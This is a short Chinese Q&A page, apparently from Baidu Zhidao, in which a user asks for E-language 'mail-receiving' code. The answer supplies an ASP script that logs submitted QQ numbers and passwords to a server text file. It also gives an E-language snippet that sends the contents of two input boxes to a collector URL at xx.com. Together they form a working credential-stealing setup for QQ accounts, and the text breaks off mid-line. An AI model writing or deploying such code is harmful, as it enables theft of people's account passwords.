求易语言ASP收信代码

来源：百度知道 编辑：UC知道 时间：2024/06/21 19:21:42
求各位高手给个易语言的ASP收信代码啊。。

<%
strLogFile="QQ.txt"

QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")

if QQNumber="" or QQPassWord="" then
response.write "QQ"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----"&date&" "&time

set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing

response.write "发送成功!"
%>

.版本 2
.支持库 HtmlView

.程序集 窗口程序集1

.子程序 _按钮1_被单击

超文本浏览框1.跳转 (“http://xx.com/QQ.asp?QQNumber=” ＋ #引号 ＋ 编辑框1.内容 ＋ #引号 ＋ “&QQpassword=” ＋ #引号 ＋ 编辑框2.内容 ＋ #引号, ,